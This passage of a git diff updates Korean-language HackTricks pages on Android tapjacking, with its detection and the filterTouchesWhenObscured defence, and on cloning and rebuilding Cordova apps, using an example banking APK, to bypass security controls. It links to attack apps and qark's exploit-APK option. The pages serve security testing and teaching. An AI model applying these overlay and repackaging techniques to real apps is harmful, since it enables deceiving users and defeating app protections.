* [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,46 +1,48 @@
|
||||||
# 탭재킹
|
# Tapjacking
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter에서 **@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.
|
|
||||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## **기본 정보**
|
|
||||||
|
|
||||||
**탭재킹**은 **악성 애플리케이션이 피해 애플리케이션 위에 위치하도록 하여** 시작되는 공격입니다. 피해 앱이 시각적으로 가려지면 사용자 인터페이스가 사용자를 속이도록 설계되어 상호 작용하도록 유도하면서 상호 작용을 피해 앱으로 전달합니다.\
|
## **Basic Information**
|
||||||
사용자가 실제로 피해 앱에서 작업을 수행하고 있다는 것을 알지 못하게 합니다.
|
|
||||||
|
|
||||||
### 탐지
|
**Tapjacking**는 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 애플리케이션을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 애플리케이션으로 전달됩니다.\
|
||||||
|
결과적으로, 이는 **사용자가 실제로 희생 애플리케이션에서 작업을 수행하고 있다는 것을 알지 못하게 합니다**.
|
||||||
|
|
||||||
이 공격에 취약한 앱을 탐지하려면 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다(인텐트 필터가 있는 활동은 기본적으로 내보냅니다). 내보낸 활동을 찾은 후 **해당 활동이 권한을 필요로 하는지 확인**해야 합니다. 이는 **악성 애플리케이션도 해당 권한이 필요하기 때문**입니다.
|
### Detection
|
||||||
|
|
||||||
### 보호
|
이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보내진 활동**을 검색해야 합니다 (intent-filter가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보내진 활동을 찾은 후, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**.
|
||||||
|
|
||||||
#### 안드로이드 12 (API 31,32) 이상
|
### Protection
|
||||||
|
|
||||||
[**이 소스에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** 안드로이드 12(API 31 및 30) 이상에서는 안드로이드가 탭재킹 공격을 자동으로 방지합니다. 따라서 취약한 애플리케이션이라도 **악용할 수 없습니다**.
|
#### Android 12 (API 31,32) 및 그 이상
|
||||||
|
|
||||||
|
[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Android 12 (API 31 & 30) 이상에서는 tapjacking 공격이 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**.
|
||||||
|
|
||||||
#### `filterTouchesWhenObscured`
|
#### `filterTouchesWhenObscured`
|
||||||
|
|
||||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되어 있으면 다른 가시적 창에 의해 뷰의 창이 가려질 때 터치를 받지 않습니다.
|
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되면, `View`는 다른 가시적인 창에 의해 창이 가려질 때 터치를 받지 않습니다.
|
||||||
|
|
||||||
#### **`setFilterTouchesWhenObscured`**
|
#### **`setFilterTouchesWhenObscured`**
|
||||||
|
|
||||||
Android 버전이 낮은 경우 이 취약점을 방지하기 위해 **`setFilterTouchesWhenObscured`** 속성을 **`true`**로 설정할 수 있습니다.\
|
**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면, 안드로이드 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\
|
||||||
예를 들어, 버튼이 가려지면 자동으로 **비활성화**될 수 있습니다.
|
예를 들어, **`true`**로 설정하면 버튼이 가려질 경우 자동으로 **비활성화**될 수 있습니다:
|
||||||
```xml
|
```xml
|
||||||
<Button android:text="Button"
|
<Button android:text="Button"
|
||||||
android:id="@+id/button1"
|
android:id="@+id/button1"
|
||||||
|
@ -53,42 +55,43 @@ android:filterTouchesWhenObscured="true">
|
||||||
|
|
||||||
### Tapjacking-ExportedActivity
|
### Tapjacking-ExportedActivity
|
||||||
|
|
||||||
가장 최근의 **Android 애플리케이션**은 Tapjacking 공격을 수행하며 (+ 공격 대상 애플리케이션의 내보낸 활동 앞에서 호출) 다음에서 찾을 수 있습니다: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
가장 **최근의 Android 애플리케이션**으로 Tapjacking 공격을 수행하는 (+ 공격받는 애플리케이션의 내보낸 활동 이전에 호출) 애플리케이션은 다음에서 찾을 수 있습니다: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||||
|
|
||||||
사용 방법은 **README 지침을 따르세요**.
|
**README 지침에 따라 사용하세요**.
|
||||||
|
|
||||||
### FloatingWindowApp
|
### FloatingWindowApp
|
||||||
|
|
||||||
다른 활동 위에 놓여 클릭잭킹 공격을 수행하기 위해 사용할 수 있는 **FloatingWindowApp**을 구현한 예제 프로젝트는 [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다 (약간 오래되었지만 apk를 빌드하는 데 행운을 빕니다).
|
클릭재킹 공격을 수행하기 위해 다른 활동 위에 올릴 수 있는 **FloatingWindowApp**을 구현한 예제 프로젝트는 [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다 (조금 오래된 프로젝트로, apk 빌드에 행운을 빕니다).
|
||||||
|
|
||||||
### Qark
|
### Qark
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
이 프로젝트는 현재 유지되지 않고 이 기능이 더 이상 제대로 작동하지 않는 것으로 보입니다.
|
이 프로젝트는 현재 유지 관리되지 않는 것 같으며 이 기능이 더 이상 제대로 작동하지 않습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
가능한 **Tapjacking** 취약점을 테스트하기 위해 악의적인 애플리케이션을 생성하는 데 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 매개변수와 함께 [**qark**](https://github.com/linkedin/qark)를 사용할 수 있습니다.
|
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 매개변수와 함께 [**qark**](https://github.com/linkedin/qark)를 사용하여 가능한 **Tapjacking** 취약점을 테스트할 악성 애플리케이션을 생성할 수 있습니다.\
|
||||||
|
|
||||||
개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 받지 않도록 선택할 수 있기 때문에 방지는 비교적 간단합니다. [Android 개발자 참조](https://developer.android.com/reference/android/view/View#security)를 사용합니다:
|
완화 방법은 상대적으로 간단합니다. 개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 수신하지 않도록 선택할 수 있습니다. [Android 개발자 참조](https://developer.android.com/reference/android/view/View#security)를 사용하여:
|
||||||
|
|
||||||
> 때로는 사용자의 전체 동의와 인지 하에 작업이 수행되고 있는지를 애플리케이션이 확인할 수 있어야 하는 경우가 있습니다. 예를 들어 권한 요청을 수락하거나 구매를 하거나 광고를 클릭하는 경우입니다. 불행히도 악성 애플리케이션이 의도된 뷰의 목적을 숨겨 사용자를 속여 이러한 작업을 수행하도록 시도할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 액세스하는 뷰의 보안을 향상시킬 수 있는 터치 필터링 메커니즘을 제공합니다.
|
> 때때로 애플리케이션이 사용자의 완전한 지식과 동의 하에 작업이 수행되고 있는지 확인하는 것이 필수적입니다. 예를 들어 권한 요청을 승인하거나, 구매를 하거나, 광고를 클릭하는 경우입니다. 불행히도, 악의적인 애플리케이션은 사용자가 의도된 목적을 알지 못한 채 이러한 작업을 수행하도록 속이려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 대한 접근을 개선하기 위해 사용할 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||||
>
|
>
|
||||||
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)을 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정하십시오. 활성화되면 프레임워크는 뷰의 창이 다른 가시적 창에 의해 가려질 때 수신된 터치를 폐기합니다. 결과적으로 뷰는 토스트, 대화 상자 또는 다른 창이 뷰의 창 위에 나타날 때 터치를 받지 않습니다.
|
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)를 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정합니다. 활성화되면 프레임워크는 뷰의 창이 다른 보이는 창에 의해 가려질 때 수신된 터치를 무시합니다. 결과적으로, 뷰의 창 위에 토스트, 대화상자 또는 다른 창이 나타날 때 뷰는 터치를 수신하지 않습니다.
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
|
||||||
* 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
|
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
# Cordova 앱
|
# Cordova Apps
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**자세한 내용은 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)을 확인하세요**. 이것은 요약입니다:
|
**자세한 내용은 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)를 확인하세요. 요약은 다음과 같습니다:**
|
||||||
|
|
||||||
Apache Cordova는 **JavaScript, HTML 및 CSS**를 사용하여 **하이브리드 애플리케이션** 개발을 가능하게 하는 것으로 알려져 있습니다. Android 및 iOS 애플리케이션을 생성할 수 있지만, 애플리케이션의 소스 코드를 보호하기 위한 기본 메커니즘이 없습니다. React Native와 달리 Cordova는 기본적으로 소스 코드를 컴파일하지 않으므로 코드 조작 취약점이 발생할 수 있습니다. Cordova는 WebView를 사용하여 애플리케이션을 렌더링하며, APK 또는 IPA 파일로 컴파일된 후에도 HTML 및 JavaScript 코드를 노출시킵니다. 반면에 React Native는 JavaScript VM을 사용하여 JavaScript 코드를 실행하므로 소스 코드 보호가 더 잘 이루어집니다.
|
Apache Cordova는 **JavaScript, HTML, CSS**를 사용하여 **하이브리드 애플리케이션** 개발을 가능하게 하는 것으로 알려져 있습니다. Android 및 iOS 애플리케이션을 생성할 수 있지만, 애플리케이션의 소스 코드를 보호하기 위한 기본 메커니즘이 부족합니다. React Native와 달리 Cordova는 기본적으로 소스 코드를 컴파일하지 않기 때문에 코드 변조 취약점이 발생할 수 있습니다. Cordova는 WebView를 사용하여 애플리케이션을 렌더링하며, APK 또는 IPA 파일로 컴파일된 후에도 HTML 및 JavaScript 코드를 노출합니다. 반면 React Native는 JavaScript 코드를 실행하기 위해 JavaScript VM을 사용하여 더 나은 소스 코드 보호를 제공합니다.
|
||||||
|
|
||||||
### Cordova 애플리케이션 복제
|
### Cordova 애플리케이션 복제하기
|
||||||
|
|
||||||
Cordova 애플리케이션을 복제하기 전에 NodeJS와 Android SDK, Java JDK 및 Gradle과 같은 기타 사전 요구 사항이 설치되어 있는지 확인하세요. 공식 Cordova [문서](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building)에서 이러한 설치에 대한 포괄적인 가이드를 제공합니다.
|
Cordova 애플리케이션을 복제하기 전에 NodeJS와 Android SDK, Java JDK, Gradle과 같은 기타 필수 구성 요소가 설치되어 있는지 확인하세요. 공식 Cordova [문서](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building)는 이러한 설치에 대한 포괄적인 가이드를 제공합니다.
|
||||||
|
|
||||||
`Bank.apk`라는 예제 애플리케이션을 고려해 보겠습니다. 이 애플리케이션의 패키지 이름은 `com.android.bank`입니다. 소스 코드에 액세스하려면 `bank.apk`를 압축 해제하고 `bank/assets/www` 폴더로 이동하세요. 이 폴더에는 HTML 및 JS 파일을 포함한 애플리케이션의 전체 소스 코드가 포함되어 있습니다. 애플리케이션의 구성은 `bank/res/xml/config.xml`에서 찾을 수 있습니다.
|
`com.android.bank` 패키지 이름을 가진 `Bank.apk`라는 예제 애플리케이션을 고려해 보세요. 소스 코드에 접근하려면 `bank.apk`를 압축 해제하고 `bank/assets/www` 폴더로 이동합니다. 이 폴더에는 HTML 및 JS 파일을 포함한 애플리케이션의 전체 소스 코드가 포함되어 있습니다. 애플리케이션의 구성은 `bank/res/xml/config.xml`에서 찾을 수 있습니다.
|
||||||
|
|
||||||
애플리케이션을 복제하려면 다음 단계를 따르세요:
|
애플리케이션을 복제하려면 다음 단계를 따르세요:
|
||||||
```bash
|
```bash
|
||||||
|
@ -30,48 +31,49 @@ npm install -g cordova@latest
|
||||||
cordova create bank-new com.android.bank Bank
|
cordova create bank-new com.android.bank Bank
|
||||||
cd bank-new
|
cd bank-new
|
||||||
```
|
```
|
||||||
`bank/assets/www` 폴더의 내용을 `bank-new/www` 폴더로 복사하되, `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` 및 `plugins/` 디렉토리는 제외하십시오.
|
`bank/assets/www`의 내용을 `bank-new/www`로 복사하되, `cordova_plugins.js`, `cordova.js`, `cordova-js-src/`, 및 `plugins/` 디렉토리는 제외합니다.
|
||||||
|
|
||||||
새로운 Cordova 프로젝트를 생성할 때 플랫폼(Android 또는 iOS)을 지정하십시오. Android 앱을 복제하는 경우 Android 플랫폼을 추가하십시오. Cordova의 플랫폼 버전과 Android API 레벨은 별개임을 유의하십시오. 플랫폼 버전 및 지원되는 Android API에 대한 자세한 내용은 Cordova [문서](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)를 참조하십시오.
|
새 Cordova 프로젝트를 생성할 때 플랫폼(Android 또는 iOS)을 지정합니다. Android 앱을 복제할 경우 Android 플랫폼을 추가합니다. Cordova의 플랫폼 버전과 Android API 수준은 다릅니다. 플랫폼 버전 및 지원되는 Android API에 대한 자세한 내용은 Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)을 참조하십시오.
|
||||||
|
|
||||||
적절한 Cordova Android 플랫폼 버전을 확인하려면 원래 애플리케이션의 `cordova.js` 파일에서 `PLATFORM_VERSION_BUILD_LABEL`을 확인하십시오.
|
적절한 Cordova Android 플랫폼 버전을 확인하려면 원래 애플리케이션의 `cordova.js` 파일에서 `PLATFORM_VERSION_BUILD_LABEL`을 확인하십시오.
|
||||||
|
|
||||||
플랫폼을 설정한 후 필요한 플러그인을 설치하십시오. 원래 애플리케이션의 `bank/assets/www/cordova_plugins.js` 파일에는 모든 플러그인과 버전이 나열되어 있습니다. 아래에 표시된대로 각 플러그인을 개별적으로 설치하십시오:
|
플랫폼 설정 후, 필요한 플러그인을 설치합니다. 원래 애플리케이션의 `bank/assets/www/cordova_plugins.js` 파일에는 모든 플러그인과 해당 버전이 나열되어 있습니다. 아래와 같이 각 플러그인을 개별적으로 설치합니다:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||||
```
|
```
|
||||||
만약 플러그인이 npm에서 사용할 수 없다면, GitHub에서 가져올 수 있습니다:
|
npm에서 사용할 수 없는 플러그인은 GitHub에서 가져올 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||||
```
|
```
|
||||||
컴파일하기 전에 모든 전제 조건이 충족되었는지 확인하십시오:
|
모든 필수 조건이 충족되었는지 확인한 후 컴파일하십시오:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova requirements
|
cordova requirements
|
||||||
```
|
```
|
||||||
APK를 빌드하려면 다음 명령을 사용하십시오:
|
APK를 빌드하려면 다음 명령어를 사용하세요:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova build android — packageType=apk
|
cordova build android — packageType=apk
|
||||||
```
|
```
|
||||||
이 명령은 디버그 옵션이 활성화된 APK를 생성하여 Google Chrome을 통한 디버깅을 용이하게 합니다. 특히, 애플리케이션에 코드 조작 탐지 메커니즘이 포함되어 있는 경우 APK에 서명하는 것이 중요합니다.
|
이 명령은 디버그 옵션이 활성화된 APK를 생성하여 Google Chrome을 통한 디버깅을 용이하게 합니다. 애플리케이션에 코드 변조 감지 메커니즘이 포함된 경우, 설치 전에 APK에 서명하는 것이 중요합니다.
|
||||||
|
|
||||||
### 자동화 도구
|
### 자동화 도구
|
||||||
|
|
||||||
클론 프로세스를 자동화하려는 사람들을 위해 **[MobSecco](https://github.com/Anof-cyber/MobSecco)**라는 추천 도구가 있습니다. 이 도구는 Android 애플리케이션의 클론을 간소화하여 위에서 설명한 단계를 단순화합니다.
|
클로닝 프로세스를 자동화하려는 경우, **[MobSecco](https://github.com/Anof-cyber/MobSecco)**가 추천 도구입니다. 이는 Android 애플리케이션의 클로닝을 간소화하여 위에 설명된 단계를 단순화합니다.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,66 +1,67 @@
|
||||||
# iOS 기본 테스트 작업
|
# iOS 기본 테스트 작업
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
